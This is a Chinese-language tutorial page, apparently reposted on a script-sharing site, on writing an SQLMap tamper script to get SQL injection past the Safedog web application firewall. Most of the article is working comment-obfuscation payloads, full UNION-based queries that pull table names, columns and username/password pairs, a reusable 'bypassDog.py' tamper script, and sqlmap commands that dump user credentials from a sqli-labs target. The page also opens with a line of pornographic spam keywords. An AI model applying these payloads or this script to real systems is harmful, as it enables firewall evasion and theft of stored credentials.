欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

教你編寫SQLMap的Tamper腳本過狗

 更新時間:2023年02月24日 10:30:02   作者:合天網(wǎng)安實驗室  
安全狗其實是比較好繞的WAF,繞過方法很多,但這里我們就用一種:注釋混淆,這篇文章主要介紹了教你編寫SQLMap的Tamper腳本過狗,需要的朋友可以參考下

測試環(huán)境

最新版某狗

測試方法

安全狗其實是比較好繞的WAF,繞過方法很多,但這里我們就用一種:注釋混淆

一招鮮吃遍天

注釋混淆,其實就是在敏感位置添加垃圾字符注釋,常用的垃圾字符有/、!、*、%

這里再解釋一下內(nèi)聯(lián)注釋,因為后面要用到:

MySQL內(nèi)聯(lián)注釋: /*!xxxxxxx*/ !后面的語句會當(dāng)作SQL語句直接執(zhí)行

但是如果!后面跟著MySQL版本號,那么就會出現(xiàn)兩種情況

當(dāng)!后面接的數(shù)據(jù)庫版本號小于自身版本號,就會將注釋中的內(nèi)容執(zhí)行當(dāng)!后面接的數(shù)據(jù)庫版本號大于等于自身版本號,就會當(dāng)做注釋來處理。

幫助網(wǎng)安學(xué)習(xí),全套資料S信免費領(lǐng)取:
① 網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
② 60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC分析報告
④ 150+網(wǎng)安攻防實戰(zhàn)技術(shù)電子書
⑤ 最權(quán)威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰(zhàn)技巧手冊
⑦ 最新網(wǎng)安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

數(shù)據(jù)庫版本號以五位數(shù)字表示,比如當(dāng)前環(huán)境下數(shù)據(jù)庫版本號表示為:50553

!后面接小于50553的:

執(zhí)行了select 1;

!后面接大于等于50553的:

執(zhí)行了 select ;

下面進入正題

bypass

and

and 1=1

但是把空格刪掉就不攔了

所以,我們認為,and后面不能直接跟空格…

那么如果用其他形式表示空格呢?

前面說了,我們這次只使用注釋混淆:

burp,抓包設(shè)置

長度5335是被攔截的

長度為899的說明成功繞過

我們選擇其中一個作為空格的替代者就好了,這里我們選擇/*%*

即: ->/*/*%**/

同理 ,or是一樣的:

order by

測試發(fā)現(xiàn)還是只要替換order by中間的空格就可以了,所以繞過方法和前面一樣:

union select

union select使用之前的垃圾字符替換空格發(fā)現(xiàn)不行了:

但是先不急于換方法,再爆破一遍試試:

發(fā)現(xiàn)又有很多可以繞過的了。

所以我們再更改一下替換空格的垃圾字符, 這里選/*/!%!/*/

即: ->/*/!%!/*/

獲得當(dāng)前數(shù)據(jù)庫

正常語句:

?id=-1 union select 1,database(),3 --+

繞過:

即:()->(/*/!%!/*/)

獲取數(shù)據(jù)庫中的表

正常語句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

繞過:

經(jīng)過測試發(fā)現(xiàn)攔截的是select + from + information_schema的組合

中間加垃圾字符替換空格已經(jīng)不管用了,我們嘗試對關(guān)鍵字進行混淆。

information_schema進行混淆測試:

首先使用內(nèi)聯(lián)注釋,發(fā)現(xiàn),這里的版本號不管寫啥,都直接被攔。

考慮是檢測了select + from + /*! + information_schema的組合

加個換行試試

還是不行…

那既然都換行了,那我們再在換行前加一些垃圾字符:

如果我們直接插入垃圾字符,會當(dāng)作SQL語句執(zhí)行,所以前面還需要在垃圾字符前加個注釋,可以是 /**/#--+

但是經(jīng)過測試只有 --+好用

有這么多可以繞過的,我們隨便選擇一個,比如/*%/

這樣,最終語句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

獲取表字段

正常語句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

繞過語句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

獲取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

成功。

編寫tamper

當(dāng)我們下載了SQLMap,解壓后,我們可以找到文件夾【tamper】,該文件夾有很多個Tamper腳本幫助我們繞過一些安全防護:

網(wǎng)上有很多相關(guān)腳本的介紹,我就不一一介紹了。

雖然SQLMap提供了這么多的Tamper腳本,但是在實際使用的過程中,網(wǎng)站的安全防護并沒有那么簡單,可能過濾了許多敏感的字符以及相關(guān)的函數(shù)。這個時候就需要我們針對目標(biāo)的防護體系構(gòu)建相應(yīng)的Tamper腳本。

Tamper相當(dāng)于一個加工車間,它會把我們的Payload進行加工之后發(fā)往目標(biāo)網(wǎng)站。

我們隨便打開一個Tamper腳本看一下它的結(jié)構(gòu):

#apostrophemask.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 導(dǎo)入SQLMap中l(wèi)ib\core\enums中的PRIORITY優(yōu)先級函數(shù)
from lib.core.enums import PRIORITY
# 定義腳本優(yōu)先級
__priority__ = PRIORITY.LOWEST

# 對當(dāng)前腳本的介紹
def dependencies():
    pass

'''
對傳進來的payload進行修改并返回
函數(shù)有兩個參數(shù)。主要更改的是payload參數(shù),kwargs參數(shù)用得不多。
'''
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
        * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
        * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload

可見Tamper腳本的結(jié)構(gòu)非常簡單,其實滲透測試中的主要難點還是如何去繞過WAF。

下面我們針對bypass部分的繞過方法進行編寫Tamper腳本,來實現(xiàn)自動化SQL注入:

實際測試的時候發(fā)現(xiàn),sqlmap默認語句中的AS關(guān)鍵字也會被攔截,這里也用同樣的方法替換一下就好

#!/usr/bin/env python

import re

from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(" ","/*/!%!/*/")
        payload = payload.replace("()","(/*/!%!/*/)")
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
        payload = re.sub(r"(?i)(/AS/)",r"http://*!00000--%20/*%/%0aAS*//",payload)        

    return payload

測試:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

到此這篇關(guān)于教你編寫SQLMap的Tamper腳本過狗的文章就介紹到這了,更多相關(guān)SQLMap的Tamper腳本內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • SQL Server遠程連接的設(shè)置步驟(圖文)

    SQL Server遠程連接的設(shè)置步驟(圖文)

    Sql Server 數(shù)據(jù)庫之間如何進行跨網(wǎng)遠程連接,本文就介紹SQL Server遠程連接的設(shè)置步驟,文中根據(jù)圖文詳細介紹的十分詳盡,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-03-03
  • SQL Server阻止保存修改表結(jié)構(gòu)的解決方法

    SQL Server阻止保存修改表結(jié)構(gòu)的解決方法

    修改DeUser表中列的數(shù)據(jù)類型從varchar修改為int時,進行保存時彈出的提示框,阻止保存修改表結(jié)構(gòu),怎么辦?這篇文章就為大家詳細介紹了解決SQL Server阻止保存修改表結(jié)構(gòu)問題的方法,感興趣的小伙伴們可以參考一下
    2016-05-05
  • SQL Server中數(shù)學(xué)函數(shù)的用法

    SQL Server中數(shù)學(xué)函數(shù)的用法

    這篇文章介紹了SQL Server中數(shù)學(xué)函數(shù)的用法,文中通過示例代碼介紹的非常詳細。對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2022-05-05
  • 如何使用Pycharm連接SQL?Sever(詳細教程)

    如何使用Pycharm連接SQL?Sever(詳細教程)

    這篇文章主要介紹了如何使用Pycharm連接SQL?Sever,本文通過圖文并茂的形式給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2023-04-04
  • SQLSERVER對加密的存儲過程、視圖、觸發(fā)器進行解密(推薦)

    SQLSERVER對加密的存儲過程、視圖、觸發(fā)器進行解密(推薦)

    這篇文章主要介紹了SQLSERVER對加密的存儲過程、視圖、觸發(fā)器進行解密,本文通過實例代碼給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-01-01
  • SQL Server中的SELECT會阻塞SELECT嗎

    SQL Server中的SELECT會阻塞SELECT嗎

    這篇文章主要給大家介紹了SQL Server中的SELECT會阻塞SELECT的相關(guān)資料,文中通過示例代碼介紹的非常詳細,需要的朋友可以參考借鑒,下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2018-12-12
  • 基于SQL Server OS的任務(wù)調(diào)度機制詳解

    基于SQL Server OS的任務(wù)調(diào)度機制詳解

    本篇文章小編為大家介紹,基于SQL Server OS的任務(wù)調(diào)度機制詳解。需要的朋友參考下
    2013-04-04
  • 在sqlserver中如何使用CTE解決復(fù)雜查詢問題

    在sqlserver中如何使用CTE解決復(fù)雜查詢問題

    本文給大家介紹使用cte解決復(fù)雜查詢問題,在此代碼中需要注意count函數(shù),它統(tǒng)計了一個列,如果該列在某行的值為null,將不會統(tǒng)計該行,本文代碼詳解并附有注釋,感興趣的朋友一起看看吧
    2015-11-11
  • Windows環(huán)境下實現(xiàn)批量執(zhí)行Sql文件

    Windows環(huán)境下實現(xiàn)批量執(zhí)行Sql文件

    這篇文章主要介紹了Windows環(huán)境下實現(xiàn)批量執(zhí)行Sql文件的相關(guān)資料,需要的朋友可以參考下
    2021-10-10
  • 一段壓縮MS SQLServer日志的語句

    一段壓縮MS SQLServer日志的語句

    一段壓縮MS SQL Server日志的語句,需要的朋友可以參考下。
    2010-11-11

最新評論